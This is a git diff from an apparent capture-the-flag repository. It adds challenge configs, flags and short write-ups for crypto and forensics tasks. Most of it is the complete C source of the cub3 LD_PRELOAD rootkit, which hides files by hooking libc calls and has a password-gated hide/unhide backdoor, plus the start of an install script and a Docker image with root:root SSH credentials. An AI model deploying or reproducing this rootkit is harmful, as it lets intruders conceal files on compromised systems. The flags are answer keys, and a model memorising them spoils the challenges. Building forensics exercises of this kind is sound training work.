+ type: "static",
+ content: "Hero{R4nd0m_gu3ssing_is_h4rd_or_is_it_h4rdly_r4nd0m_?}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - hard
+ - crypto
+
+files:
+ - chall.zip
+
+state: visible
+version: "0.1"
diff --git a/Crypto/Uniform/entry.sh b/Crypto/Uniform/entry.sh
new file mode 100644
index 0000000..c73764e
--- /dev/null
+++ b/Crypto/Uniform/entry.sh
@@ -0,0 +1,6 @@
+#! /bin/sh
+
+while :
+do
+ su -c "exec socat TCP-LISTEN:${LISTEN_PORT},forever,reuseaddr,fork EXEC:'/app/chall.py'" - user;
+done
diff --git a/Crypto/Uniform/flag.txt b/Crypto/Uniform/flag.txt
new file mode 100644
index 0000000..365b6d9
--- /dev/null
+++ b/Crypto/Uniform/flag.txt
@@ -0,0 +1 @@
+Hero{R4nd0m_gu3ssing_is_h4rd_or_is_it_h4rdly_r4nd0m_?}
diff --git a/Crypto/docker-compose.yml b/Crypto/docker-compose.yml
new file mode 100644
index 0000000..d97b0e3
--- /dev/null
+++ b/Crypto/docker-compose.yml
@@ -0,0 +1,22 @@
+---
+version: "3.3"
+
+services:
+
+ uniform:
+ build:
+ context: ./Uniform/
+ environment:
+ - LISTEN_PORT=9000
+ ports:
+ - "9000:9000"
+
+ futile:
+ build:
+ context: ./Futile/
+ environment:
+ - LISTEN_PORT=9001
+ - FLAG=Hero{Int3rn4l_st4t3s_c4nt_b3_nu77}
+ ports:
+ - "9001:9001"
+
diff --git a/Forensics/.gitkeep b/Forensics/.gitkeep
new file mode 100644
index 0000000..e69de29
diff --git a/Forensics/Heap/README.md b/Forensics/Heap/README.md
new file mode 100644
index 0000000..69d3c57
--- /dev/null
+++ b/Forensics/Heap/README.md
@@ -0,0 +1,58 @@
+# HEAP
+
+### Category
+
+Forensic
+
+### Description
+
+We caught a hacker red-handed while he was encrypting data. Unfortunately we were too late to see what he was trying to hide. We did however manage to get a dump of the java heap.
+
+Try to find the information he wants to hide from us.
+
+Format : **Hero{}**
+Author : **Thib**
+
+### Files
+
+![Heap](heap.hprof)
+
+### Write up
+
+At first, we suspect that the hprof file provided was generated by Android Studio. It is not a common format, it must be converted into a standard format to use the tool of our choice.
+
+We can use HPROF Converter to do this.
+
+```bash
+hprof-conv heap.hprof heap-conv.hprof
+```
+
+Now, we can use the [Eclipse Memory Analyze Tool](https://www.eclipse.org/mat/)
+
+After we opened the file, the good idea is to look at the Histogram tab.
+
+![Histogram](history.png)
+
+The histogram lists the objects grouped by their class present in the dump. We have to find everything about encryption in order to understand what have benn encrypted. But what encryption method have been used ?
+
+Let's find it.
+
+After multiple strings/grep in the file, me can see that there is multiple result about AES. So we can start from there.
+
+![Regex search](regex.png)
+
+A regex search in the histogram gives us a very interesting result. `com.hero.cryptedsecret.AESEncrypt`
+
+Now, we can see the outgoing reference of the object. More information about outgoing reference [here](https://dzone.com/articles/eclipse-mat-incoming-outgoing-references)
+
+![Good result](result.png)
+
+Wow! A message, a key and a AES mode. The message is a base64 encoded.
+
+An online tool give us the flag easily.
+
+![Flag](flag.png)
+
+### Flag
+
+```Hero{D1G_1NT0_J4V4_H34P}```
\ No newline at end of file
diff --git a/Forensics/Heap/challenge.yml b/Forensics/Heap/challenge.yml
new file mode 100644
index 0000000..0887dc1
--- /dev/null
+++ b/Forensics/Heap/challenge.yml
@@ -0,0 +1,37 @@
+---
+name: Heap
+author: Thib
+category: Forensic
+description: "We caught a hacker red-handed while he was encrypting data. Unfortunately we were too late to see what he was trying to hide. We did however manage to get a dump of the java heap.
+
+Try to find the information he wants to hide from us.
+
+Format : **Hero{}**
+Author : **Thib**"
+
+value: null
+type: dynamic
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{D1G_1NT0_J4V4_H34P}",
+ data: "case_sensitive",
+ }
+
+tags:
+ - medium
+ - forensic
+
+files:
+ - heap.hprof
+
+state: visible
+version: "0.1"
diff --git a/Forensics/Heap/flag.png b/Forensics/Heap/flag.png
new file mode 100644
index 0000000..7b31213
Binary files /dev/null and b/Forensics/Heap/flag.png differ
diff --git a/Forensics/Heap/heap-conv.hprof b/Forensics/Heap/heap-conv.hprof
new file mode 100644
index 0000000..d8ad407
Binary files /dev/null and b/Forensics/Heap/heap-conv.hprof differ
diff --git a/Forensics/Heap/heap.hprof b/Forensics/Heap/heap.hprof
new file mode 100644
index 0000000..1e84fbf
Binary files /dev/null and b/Forensics/Heap/heap.hprof differ
diff --git a/Forensics/Heap/history.png b/Forensics/Heap/history.png
new file mode 100644
index 0000000..277bffd
Binary files /dev/null and b/Forensics/Heap/history.png differ
diff --git a/Forensics/Heap/outgoing.png b/Forensics/Heap/outgoing.png
new file mode 100644
index 0000000..3601ece
Binary files /dev/null and b/Forensics/Heap/outgoing.png differ
diff --git a/Forensics/Heap/regex.png b/Forensics/Heap/regex.png
new file mode 100644
index 0000000..14e66a2
Binary files /dev/null and b/Forensics/Heap/regex.png differ
diff --git a/Forensics/Heap/result.png b/Forensics/Heap/result.png
new file mode 100644
index 0000000..fedacec
Binary files /dev/null and b/Forensics/Heap/result.png differ
diff --git a/Forensics/My_Poor_Webserver/Dockerfile b/Forensics/My_Poor_Webserver/Dockerfile
new file mode 100644
index 0000000..a5769d6
--- /dev/null
+++ b/Forensics/My_Poor_Webserver/Dockerfile
@@ -0,0 +1,10 @@
+FROM ubuntu:latest
+RUN apt update && apt install gcc openssh-server -y
+WORKDIR /root
+COPY ./src/ .
+COPY ./hide_access_log.log /var/log/
+COPY ./sshd_config /etc/ssh/
+RUN ./install.sh && \
+ echo "root:root" | chpasswd
+
+CMD ["bash","/root/post_docker_creation.sh"]
\ No newline at end of file
diff --git a/Forensics/My_Poor_Webserver/README.md b/Forensics/My_Poor_Webserver/README.md
new file mode 100644
index 0000000..bbaf5ef
--- /dev/null
+++ b/Forensics/My_Poor_Webserver/README.md
@@ -0,0 +1,23 @@
+# My Poor Webserver
+
+### Category
+
+Forensic
+
+### Description
+
+Last night, I left my webserver open during the night. When I connect to it this morning, I've found some suspicious logs, but one minute later they we're gone... what is going on with my server?
+
+Format : **Hero{}**
+Author : **Worty**
+
+### Write Up
+
+strace to see that file is loaded with LD_PRELOAD
+use direct syscall to get the malicious lib
+reverse the lib to see that some hidden things have to be set in order to unhide a file
+flag :)
+
+### Flag
+
+Hero{y0u_just_f1nd_4_r00tk1t_!!}
\ No newline at end of file
diff --git a/Forensics/My_Poor_Webserver/challenge.yml b/Forensics/My_Poor_Webserver/challenge.yml
new file mode 100644
index 0000000..9d3e17c
--- /dev/null
+++ b/Forensics/My_Poor_Webserver/challenge.yml
@@ -0,0 +1,38 @@
+---
+name: My Poor Webserver
+author: Worty
+category: Forensic
+description: "Last night, I left my webserver open during the night. When I connect to it this morning, I've found some suspicious logs, but one minute later they we're gone... what is going on with my server?
+
+Credentials : `root:root`
+
+> Deploy on [deploy.heroctf.fr](https://deploy.heroctf.fr/)
+
+Format : **Hero{}**
+Author : **Worty**"
+
+value: null
+type: dynamic
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{y0u_just_f1nd_4_r00tk1t_!!}",
+ data: "case_sensitive",
+ }
+
+tags:
+ - medium
+ - forensic
+
+files: null
+
+state: visible
+version: "0.1"
diff --git a/Forensics/My_Poor_Webserver/docker-compose.yml b/Forensics/My_Poor_Webserver/docker-compose.yml
new file mode 100644
index 0000000..c7cf645
--- /dev/null
+++ b/Forensics/My_Poor_Webserver/docker-compose.yml
@@ -0,0 +1,6 @@
+version: "3.9"
+services:
+ machine:
+ build: ./
+ ports:
+ - "22222:22"
\ No newline at end of file
diff --git a/Forensics/My_Poor_Webserver/hide_access_log.log b/Forensics/My_Poor_Webserver/hide_access_log.log
new file mode 100644
index 0000000..02c07d4
--- /dev/null
+++ b/Forensics/My_Poor_Webserver/hide_access_log.log
@@ -0,0 +1,3 @@
+Hero{y0u_just_f1nd_4_r00tk1t_!!}
+
+This rootkit is based on cub3 PoC available here : https://github.com/mempodippy/cub3, which is nice and works ! (well didnt works as excepted because u find me buuuut :p)g
\ No newline at end of file
diff --git a/Forensics/My_Poor_Webserver/src/config.h b/Forensics/My_Poor_Webserver/src/config.h
new file mode 100644
index 0000000..ef08b8e
--- /dev/null
+++ b/Forensics/My_Poor_Webserver/src/config.h
@@ -0,0 +1,10 @@
+#ifndef CONFIG_H
+#define CONFIG_H
+
+#define HIDDEN_XATTR_STR "CHANGEME0"
+#define OWNER_ENV_VAR "CHANGEME1"
+#define EXECVE_PASS "CHANGEME2"
+
+#undef DEBUG
+
+#endif
diff --git a/Forensics/My_Poor_Webserver/src/cub3.c b/Forensics/My_Poor_Webserver/src/cub3.c
new file mode 100644
index 0000000..274b322
--- /dev/null
+++ b/Forensics/My_Poor_Webserver/src/cub3.c
@@ -0,0 +1,734 @@
+/*
+ *
+ * ██████╗██╗ ██╗██████╗ ██████╗
+ * ██╔════╝██║ ██║██╔══██╗╚════██╗
+ * ██║ ██║ ██║██████╔╝ █████╔╝
+ * ██║ ██║ ██║██╔══██╗ ╚═══██╗
+ * ╚██████╗╚██████╔╝██████╔╝██████╔╝
+ * ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝
+ *
+ * Small proof of concept to show
+ * how extended attributes can be
+ * utilised to protect files in
+ * LD_PRELOAD malware.
+ *
+ * More information and
+ * installation instructions
+ * available in README.md
+ *
+ * Contact me (email):
+ * xor@cock.lu
+ *
+ */
+
+#define _GNU_SOURCE
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include // xattr is abbreviated version of extended attributes. basically the heart and soul of cub3 :)
+#include
+#include
+
+#include "config.h"
+
+// main functions of this poc. checks if the file is protected by the magic xattr string
+int hidden_xattr(const char *file);
+int hidden_fxattr(int fd);
+
+// allows for removal of cub3 after you're done playing around with it. just requires root and set env var
+int rm_shell(void);
+
+// old_ functions. allows for callback to original libc functions
+// xattr stuff
+// list
+ssize_t (*old_listxattr)(const char *path, char *list, size_t size);
+ssize_t (*old_llistxattr)(const char *path, char *list, size_t size);
+ssize_t (*old_flistxattr)(int fd, char *list, size_t size);
+// get
+ssize_t (*old_getxattr)(const char *path, const char *name, void *value, size_t size);
+ssize_t (*old_lgetxattr)(const char *path, const char *name, void *value, size_t size);
+ssize_t (*old_fgetxattr)(int fd, const char *name, void *value, size_t size);
+// set
+int (*old_setxattr)(const char *path, const char *name, const void *value, size_t size, int flags);
+int (*old_lsetxattr)(const char *path, const char *name, const void *value, size_t size, int flags);
+int (*old_fsetxattr)(int fd, const char *name, const void *value, size_t size, int flags);
+// remove
+int (*old_removexattr)(const char *path, const char *name);
+int (*old_lremovexattr)(const char *path, const char *name);
+int (*old_fremovexattr)(int fd, const char *name);
+
+// open() stuff
+int (*old_open)(const char *pathname, int flags, mode_t mode);
+int (*old_open64)(const char *pathname, int flags, mode_t mode);
+int (*old_openat)(int dirfd, const char *pathname, int flags, mode_t mode);
+int (*old_creat)(const char *pathname, mode_t mode);
+
+// unlink() stuff
+int (*old_unlink)(const char *pathname);
+int (*old_unlinkat)(int dirfd, const char *pathname, int flags);
+int (*old_rmdir)(const char *pathname);
+
+// symlink() stuff
+int (*old_symlink)(const char *target, const char *linkpath);
+int (*old_symlinkat)(const char *target, int newdirfd, const char *linkpath);
+
+// directory stuff
+int (*old_mkdir)(const char *pathname, mode_t mode);
+int (*old_mkdirat)(int dirfd, const char *pathname, mode_t mode);
+int (*old_chdir)(const char *path);
+int (*old_fchdir)(int fd);
+DIR *(*old_opendir)(const char *name);
+DIR *(*old_opendir64)(const char *name);
+DIR *(*old_fdopendir)(int fd);
+struct dirent *(*old_readdir)(DIR *dirp);
+struct dirent64 *(*old_readdir64)(DIR *dirp);
+
+// hooking execve() so we can dynamically hide/unhide files/directories
+int (*old_execve)(const char *filename, char *const argv[], char *const envp[]);
+
+int hidden_xattr(const char *file)
+{
+ #ifdef DEBUG
+ printf("[cub3]: hidden_xattr() called\n");
+ printf("[cub3]: going to attempt to distinguish visibility of file %s\n", file);
+ #endif
+
+ ssize_t buflen, keylen;
+ char *buf, *key;
+
+ if(!old_listxattr) old_listxattr = dlsym(RTLD_NEXT, "listxattr");
+
+ if((buflen = old_listxattr(file, NULL, 0)) == -1)
+ {
+ return 0;
+ }else if(buflen == 0){
+ return buflen;
+ }
+
+ buf = malloc(buflen);
+ if((buflen = old_listxattr(file, buf, buflen)) == -1) return 0; // fuuuck
+
+ key = buf;
+
+ while(buflen > 0)
+ {
+ if(strstr(key, HIDDEN_XATTR_STR))
+ {
+ #ifdef DEBUG
+ printf("[cub3]: file %s is protected with extended attributes\n", file);
+ #endif
+
+ free(buf); return 1; // don't bother loading the next attribute.. no point lol
+ }
+
+ keylen = strlen(key) + 1; buflen -= keylen; key += keylen;
+ }
+
+ free(buf); return 0; // nothing came up.. this makes us sad :(
+}
+
+int hidden_fxattr(int fd)
+{
+ #ifdef DEBUG
+ printf("[cub3]: hidden_fxattr() called\n");
+ printf("[cub3]: going to attempt to distinguish visiblity of fd %d\n", fd);
+ #endif
+
+ ssize_t buflen, keylen;
+ char *buf, *key;
+
+ if(!old_flistxattr) old_flistxattr = dlsym(RTLD_NEXT, "flistxattr");
+
+ if((buflen = old_flistxattr(fd, NULL, 0)) == -1)
+ {
+ return 0;
+ }else if(buflen == 0){
+ return buflen;
+ }
+
+ buf = malloc(buflen);
+ if((buflen = old_flistxattr(fd, buf, buflen)) == -1) return 0;
+
+ key = buf;
+
+ while(buflen > 0)
+ {
+ if(strstr(key, HIDDEN_XATTR_STR))
+ {
+ #ifdef DEBUG
+ printf("[cub3]: fd %d is protected with extended attributes\n", fd);
+ #endif
+
+ free(buf); return 1;
+ }
+
+ keylen = strlen(key) + 1; buflen -= keylen; key += keylen;
+ }
+
+ free(buf); return 0;
+}
+
+int rm_shell(void)
+{
+ #ifdef DEBUG
+ printf("[cub3]: rm_shell() called\n");
+ #endif
+
+ if(getuid() == 0 && getenv(OWNER_ENV_VAR)) return 1;
+ return 0;
+}
+
+// now let's start writing our hooked functions :)
+
+ssize_t listxattr(const char *path, char *list, size_t size)
+{
+ #ifdef DEBUG
+ printf("[cub3]: listxattr() called\n");
+ #endif
+
+ if(!old_listxattr) old_listxattr = dlsym(RTLD_NEXT, "listxattr");
+
+ if(rm_shell()) return old_listxattr(path, list, size);
+
+ if(hidden_xattr(path)) { errno = ENOENT; return -1; }
+
+ return old_listxattr(path, list, size);
+}
+
+ssize_t llistxattr(const char *path, char *list, size_t size)
+{
+ #ifdef DEBUG
+ printf("[cub3]: llistxattr() called\n");
+ #endif
+
+ if(!old_llistxattr) old_llistxattr = dlsym(RTLD_NEXT, "llistxattr");
+
+ if(rm_shell()) return old_llistxattr(path, list, size);
+
+ if(hidden_xattr(path)) { errno = ENOENT; return -1; }
+
+ return old_llistxattr(path, list, size);
+}
+
+ssize_t flistxattr(int fd, char *list, size_t size)
+{
+ #ifdef DEBUG
+ printf("[cub3]: flistxattr() called\n");
+ #endif
+
+ if(!old_flistxattr) old_flistxattr = dlsym(RTLD_NEXT, "flistxattr");
+
+ if(rm_shell()) return old_flistxattr(fd, list, size);
+
+ if(hidden_fxattr(fd)) { errno = ENOENT; return -1; }
+
+ return old_flistxattr(fd, list, size);
+}
+
+ssize_t getxattr(const char *path, const char *name, void *value, size_t size)
+{
+ #ifdef DEBUG
+ printf("[cub3]: getxattr() called\n");
+ #endif
+
+ if(!old_getxattr) old_getxattr = dlsym(RTLD_NEXT, "getxattr");
+
+ if(rm_shell()) return old_getxattr(path, name, value, size);
+
+ if(hidden_xattr(path)) { errno = ENOENT; return -1; }
+
+ return old_getxattr(path, name, value, size);
+}
+
+ssize_t lgetxattr(const char *path, const char *name, void *value, size_t size)
+{
+ #ifdef DEBUG
+ printf("[cub3]: lgetxattr() called\n");
+ #endif
+
+ if(!old_lgetxattr) old_lgetxattr = dlsym(RTLD_NEXT, "lgetxattr");
+
+ if(rm_shell()) return old_lgetxattr(path, name, value, size);
+
+ if(hidden_xattr(path)) { errno = ENOENT; return -1; }
+
+ return old_lgetxattr(path, name, value, size);
+}
+
+ssize_t fgetxattr(int fd, const char *name, void *value, size_t size)
+{
+ #ifdef DEBUG
+ printf("[cub3]: fgetxattr() called\n");
+ #endif
+
+ if(!old_fgetxattr) old_fgetxattr = dlsym(RTLD_NEXT, "fgetxattr");
+
+ if(rm_shell()) return old_fgetxattr(fd, name, value, size);
+
+ if(hidden_fxattr(fd)) { errno = ENOENT; return -1; }
+
+ return old_fgetxattr(fd, name, value, size);
+}
+
+int setxattr(const char *path, const char *name, const void *value, size_t size, int flags)
+{
+ #ifdef DEBUG
+ printf("[cub3]: setxattr() called\n");
+ #endif
+
+ if(!old_setxattr) old_setxattr = dlsym(RTLD_NEXT, "setxattr");
+
+ if(rm_shell()) return old_setxattr(path, name, value, size, flags);
+
+ if(hidden_xattr(path)) { errno = ENOENT; return -1; }
+
+ return old_setxattr(path, name, value, size, flags);
+}
+
+int lsetxattr(const char *path, const char *name, const void *value, size_t size, int flags)
+{
+ #ifdef DEBUG
+ printf("[cub3]: lsetxattr() called\n");
+ #endif
+
+ if(!old_lsetxattr) old_lsetxattr = dlsym(RTLD_NEXT, "lsetxattr");
+
+ if(rm_shell()) return old_lsetxattr(path, name, value, size, flags);
+
+ if(hidden_xattr(path)) { errno = ENOENT; return -1; }
+
+ return old_lsetxattr(path, name, value, size, flags);
+}
+
+int fsetxattr(int fd, const char *name, const void *value, size_t size, int flags)
+{
+ #ifdef DEBUG
+ printf("[cub3]: fsetxattr() called\n");
+ #endif
+
+ if(!old_fsetxattr) old_fsetxattr = dlsym(RTLD_NEXT, "fsetxattr");
+
+ if(rm_shell()) return old_fsetxattr(fd, name, value, size, flags);
+
+ if(hidden_fxattr(fd)) { errno = ENOENT; return -1; }
+
+ return old_fsetxattr(fd, name, value, size, flags);
+}
+
+int removexattr(const char *path, const char *name)
+{
+ #ifdef DEBUG
+ printf("[cub3]: removexattr() called\n");
+ #endif
+
+ if(!old_removexattr) old_removexattr = dlsym(RTLD_NEXT, "removexattr");
+
+ if(rm_shell()) return old_removexattr(path, name);
+
+ if(hidden_xattr(path)) { errno = ENOENT; return -1; }
+
+ return old_removexattr(path, name);
+}
+
+int lremovexattr(const char *path, const char *name)
+{
+ #ifdef DEBUG
+ printf("[cub3]: lremovexattr() called\n");
+ #endif
+
+ if(!old_lremovexattr) old_lremovexattr = dlsym(RTLD_NEXT, "lremovexattr");
+
+ if(rm_shell()) return old_lremovexattr(path, name);
+
+ if(hidden_xattr(path)) { errno = ENOENT; return -1; }
+
+ return old_lremovexattr(path, name);
+}
+
+int fremovexattr(int fd, const char *name)
+{
+ #ifdef DEBUG
+ printf("[cub3]: fremovexattr() called\n");
+ #endif
+
+ if(!old_fremovexattr) old_fremovexattr = dlsym(RTLD_NEXT, "fremovexattr");
+
+ if(rm_shell()) return old_fremovexattr(fd, name);
+
+ if(hidden_fxattr(fd)) { errno = ENOENT; return -1; }
+
+ return old_fremovexattr(fd, name);
+}
+
+int open(const char *pathname, int flags, mode_t mode)
+{
+ #ifdef DEBUG
+ printf("[cub3]: open() called\n");
+ #endif
+
+ if(!old_open) old_open = dlsym(RTLD_NEXT, "open");
+
+ if(rm_shell()) return old_open(pathname, flags, mode);
+
+ if(hidden_xattr(pathname)) { errno = ENOENT; return -1; }
+
+ return old_open(pathname, flags, mode);
+}
+
+int open64(const char *pathname, int flags, mode_t mode)
+{
+ #ifdef DEBUG
+ printf("[cub3]: open64() called\n");
+ #endif
+
+ if(!old_open64) old_open64 = dlsym(RTLD_NEXT, "open64");
+
+ if(rm_shell()) return old_open64(pathname, flags, mode);
+
+ if(hidden_xattr(pathname)) { errno = ENOENT; return -1; }
+
+ return old_open64(pathname, flags, mode);
+}
+
+int openat(int dirfd, const char *pathname, int flags, mode_t mode)
+{
+ #ifdef DEBUG
+ printf("[cub3]: openat() called\n");
+ #endif
+
+ if(!old_openat) old_openat = dlsym(RTLD_NEXT, "openat");
+
+ if(rm_shell()) return old_openat(dirfd, pathname, flags, mode);
+
+ if(hidden_xattr(pathname) || hidden_fxattr(dirfd)) { errno = ENOENT; return -1; }
+
+ return old_openat(dirfd, pathname, flags, mode);
+}
+
+int creat(const char *pathname, mode_t mode)
+{
+ #ifdef DEBUG
+ printf("[cub3]: creat() called\n");
+ #endif
+
+ if(!old_creat) old_creat = dlsym(RTLD_NEXT, "creat");
+
+ if(rm_shell()) return old_creat(pathname, mode);
+
+ if(hidden_xattr(pathname)) { errno = ENOENT; return -1; }
+
+ return old_creat(pathname, mode);
+}
+
+int unlink(const char *pathname)
+{
+ #ifdef DEBUG
+ printf("[cub3]: unlink() called\n");
+ #endif
+
+ if(!old_unlink) old_unlink = dlsym(RTLD_NEXT, "unlink");
+
+ if(rm_shell()) return old_unlink(pathname);
+
+ if(hidden_xattr(pathname)) { errno = ENOENT; return -1; }
+
+ return old_unlink(pathname);
+}
+
+int unlinkat(int dirfd, const char *pathname, int flags)
+{
+ #ifdef DEBUG
+ printf("[cub3]: unlinkat() called\n");
+ #endif
+
+ if(!old_unlinkat) old_unlinkat = dlsym(RTLD_NEXT, "unlinkat");
+
+ if(rm_shell()) return old_unlinkat(dirfd, pathname, flags);
+
+ if(hidden_xattr(pathname) || hidden_fxattr(dirfd)) { errno = ENOENT; return -1; }
+
+ return old_unlinkat(dirfd, pathname, flags);
+}
+
+int rmdir(const char *pathname)
+{
+ #ifdef DEBUG
+ printf("[cub3]: rmdir() called\n");
+ #endif
+
+ if(!old_rmdir) old_rmdir = dlsym(RTLD_NEXT, "rmdir");
+
+ if(rm_shell()) return old_rmdir(pathname);
+
+ if(hidden_xattr(pathname)) { errno = ENOENT; return -1; }
+
+ return old_rmdir(pathname);
+}
+
+int symlink(const char *target, const char *linkpath)
+{
+ #ifdef DEBUG
+ printf("[cub3]: symlink() called\n");
+ #endif
+
+ if(!old_symlink) old_symlink = dlsym(RTLD_NEXT, "symlink");
+
+ if(rm_shell()) return old_symlink(target, linkpath);
+
+ if(hidden_xattr(target) || hidden_xattr(linkpath)) { errno = ENOENT; return -1; }
+
+ return old_symlink(target, linkpath);
+}
+
+int symlinkat(const char *target, int newdirfd, const char *linkpath)
+{
+ #ifdef DEBUG
+ printf("[cub3]: symlinkat() called\n");
+ #endif
+
+ if(!old_symlinkat) old_symlinkat = dlsym(RTLD_NEXT, "symlinkat");
+
+ if(rm_shell()) return old_symlinkat(target, newdirfd, linkpath);
+
+ if(hidden_xattr(target) ||
+ hidden_xattr(linkpath) ||
+ hidden_fxattr(newdirfd))
+ { errno = ENOENT; return -1;}
+
+ return old_symlinkat(target, newdirfd, linkpath);
+}
+
+int mkdir(const char *pathname, mode_t mode)
+{
+ #ifdef DEBUG
+ printf("[cub3]: mkdir() called\n");
+ #endif
+
+ if(!old_mkdir) old_mkdir = dlsym(RTLD_NEXT, "mkdir");
+
+ if(rm_shell()) return old_mkdir(pathname, mode);
+
+ if(hidden_xattr(pathname)) { errno = ENOENT; return -1; }
+
+ return old_mkdir(pathname, mode);
+}
+
+int mkdirat(int dirfd, const char *pathname, mode_t mode)
+{
+ #ifdef DEBUG
+ printf("[cub3]: mkdirat() called\n");
+ #endif
+
+ if(!old_mkdirat) old_mkdirat = dlsym(RTLD_NEXT, "mkdirat");
+
+ if(rm_shell()) return old_mkdirat(dirfd, pathname, mode);
+
+ if(hidden_xattr(pathname) || hidden_fxattr(dirfd)) { errno = ENOENT; return -1; }
+
+ return old_mkdirat(dirfd, pathname, mode);
+}
+
+int chdir(const char *path)
+{
+ #ifdef DEBUG
+ printf("[cub3]: chdir() called\n");
+ #endif
+
+ if(!old_chdir) old_chdir = dlsym(RTLD_NEXT, "chdir");
+
+ if(rm_shell()) return old_chdir(path);
+
+ if(hidden_xattr(path)) { errno = ENOENT; return -1; }
+
+ return old_chdir(path);
+}
+
+int fchdir(int fd)
+{
+ #ifdef DEBUG
+ printf("[cub3]: fchdir() called\n");
+ #endif
+
+ if(!old_fchdir) old_fchdir = dlsym(RTLD_NEXT, "fchdir");
+
+ if(rm_shell()) return fchdir(fd);
+
+ if(hidden_fxattr(fd)) { errno = ENOENT; return -1; }
+
+ return old_fchdir(fd);
+}
+
+DIR *opendir(const char *name)
+{
+ #ifdef DEBUG
+ printf("[cub3]: opendir() called\n");
+ #endif
+
+ if(!old_opendir) old_opendir = dlsym(RTLD_NEXT, "opendir");
+
+ if(rm_shell()) return old_opendir(name);
+
+ if(hidden_xattr(name)) { errno = ENOENT; return NULL; }
+
+ return old_opendir(name);
+}
+
+DIR *opendir64(const char *name)
+{
+ #ifdef DEBUG
+ printf("[cub3]: opendir64() called\n");
+ #endif
+
+ if(!old_opendir64) old_opendir64 = dlsym(RTLD_NEXT, "opendir64");
+
+ if(rm_shell()) return old_opendir64(name);
+
+ if(hidden_xattr(name)) { errno = ENOENT; return NULL; }
+
+ return old_opendir64(name);
+}
+
+DIR *fdopendir(int fd)
+{
+ #ifdef DEBUG
+ printf("[cub3]: fdopendir() called\n");
+ #endif
+
+ if(!old_fdopendir) old_fdopendir = dlsym(RTLD_NEXT, "fdopendir");
+
+ if(rm_shell()) return old_fdopendir(fd);
+
+ if(hidden_fxattr(fd)) { errno = ENOENT; return NULL; }
+
+ return old_fdopendir(fd);
+}
+
+struct dirent *readdir(DIR *dirp)
+{
+ #ifdef DEBUG
+ printf("[cub3]: readdir() called\n");
+ #endif
+
+ if(!old_readdir) old_readdir = dlsym(RTLD_NEXT, "readdir");
+
+ if(rm_shell()) return old_readdir(dirp);
+
+ struct dirent *dir;
+ char path[PATH_MAX + 1];
+
+ do {
+ dir = old_readdir(dirp);
+
+ if(dir != NULL && (strcmp(dir->d_name, ".\0") == 0 || strcmp(dir->d_name, "/\0") == 0)) continue;
+
+ if(dir != NULL)
+ {
+ int fd = dirfd(dirp);
+ char fd_path[256], *directory_name = (char *) malloc(256);
+ memset(directory_name, 0, 256);
+ snprintf(fd_path, 255, "/proc/self/fd/%d", fd);
+ readlink(fd_path, directory_name, 255);
+ snprintf(path, sizeof(path) - 1, "%s/%s", directory_name, dir->d_name);
+ }
+ } while(dir && hidden_xattr(path));
+
+ return dir;
+}
+
+struct dirent64 *readdir64(DIR *dirp)
+{
+ #ifdef DEBUG
+ printf("[cub3]: readdir64() called\n");
+ #endif
+
+ if(!old_readdir64) old_readdir64 = dlsym(RTLD_NEXT, "readdir64");
+
+ if(rm_shell()) return old_readdir64(dirp);
+
+ struct dirent64 *dir;
+ char path[PATH_MAX + 1];
+
+ do {
+ dir = old_readdir64(dirp);
+
+ if(dir != NULL && (strcmp(dir->d_name, ".\0") == 0 || strcmp(dir->d_name, "/\0") == 0)) continue;
+
+ if(dir != NULL)
+ {
+ int fd = dirfd(dirp);
+ char fd_path[256], *directory_name = (char *) malloc(256);
+ memset(directory_name, 0, 256);
+ snprintf(fd_path, 255, "/proc/self/fd/%d", fd);
+ readlink(fd_path, directory_name, 255);
+ snprintf(path, sizeof(path) - 1, "%s/%s", directory_name, dir->d_name);
+ }
+ } while(dir && hidden_xattr(path));
+
+ return dir;
+}
+
+int execve(const char *filename, char *const argv[], char *const envp[])
+{
+ #ifdef DEBUG
+ printf("[cub3]: execve() called\n");
+ #endif
+
+ if(!old_execve) old_execve = dlsym(RTLD_NEXT, "execve");
+
+ if(rm_shell())
+ {
+ if(argv[1] != NULL && !strcmp(argv[1], EXECVE_PASS))
+ {
+ #ifdef DEBUG
+ printf("[cub3]: user passed the CORRECT execve pass\n");
+ #endif
+
+ if(!old_setxattr) old_setxattr = dlsym(RTLD_NEXT, "setxattr");
+ if(!old_removexattr) old_removexattr = dlsym(RTLD_NEXT, "removexattr");
+
+ if(strstr(filename, "unhide"))
+ {
+ if(argv[2] == NULL)
+ {
+ printf("Usage: ./unhide \n");
+ exit(0);
+ }
+
+ char *target_file = argv[2], xattr_user[40];
+ snprintf(xattr_user, sizeof(xattr_user), "user.%s", HIDDEN_XATTR_STR);
+ old_removexattr(target_file, xattr_user);
+ printf("File %s unhidden.\n", target_file);
+
+ exit(0);
+ }
+
+ if(strstr(filename, "hide"))
+ {
+ if(argv[2] == NULL)
+ {
+ printf("Usage: ./hide \n");
+ exit(0);
+ }
+
+ char *target_file = argv[2], xattr_user[40];
+ snprintf(xattr_user, sizeof(xattr_user), "user.%s", HIDDEN_XATTR_STR);
+ old_setxattr(target_file, xattr_user, HIDDEN_XATTR_STR, strlen(HIDDEN_XATTR_STR), XATTR_CREATE);
+ printf("File %s hidden.\n", target_file);
+
+ exit(0);
+ }
+ }
+
+ return old_execve(filename, argv, envp);
+ }
+
+ if(hidden_xattr(filename)) { errno = ENOENT; return -1; }
+
+ return old_execve(filename, argv, envp);
+}
diff --git a/Forensics/My_Poor_Webserver/src/install.sh b/Forensics/My_Poor_Webserver/src/install.sh
new file mode 100755
index 0000000..4d7b390
--- /dev/null
+++ b/Forensics/My_Poor_Webserver/src/install.sh
@@ -0,0 +1,31 @@
+#!/bin/bash
+
+INSTALL_DIR="/lib"
+XATTR_STR="EVIL_ATTACKER_ATTR"
+OWNER_ENV_VAR="I_OWNED_YOUR_SYSTEM"
+EXECVE_PASS="EXECVE_PASS_PLZ"
+
+
+[ -f /usr/bin/apt-get ] && { apt-get --yes --force-yes install attr &>/dev/null; }
+
+sed -i "s:CHANGEME0:$XATTR_STR:" config.h
+sed -i "s:CHANGEME1:$OWNER_ENV_VAR:" config.h
+sed -i "s:CHANGEME2:$EXECVE_PASS:" config.h
+
+CFLAGS="-ldl"
+WFLAGS="-Wall"
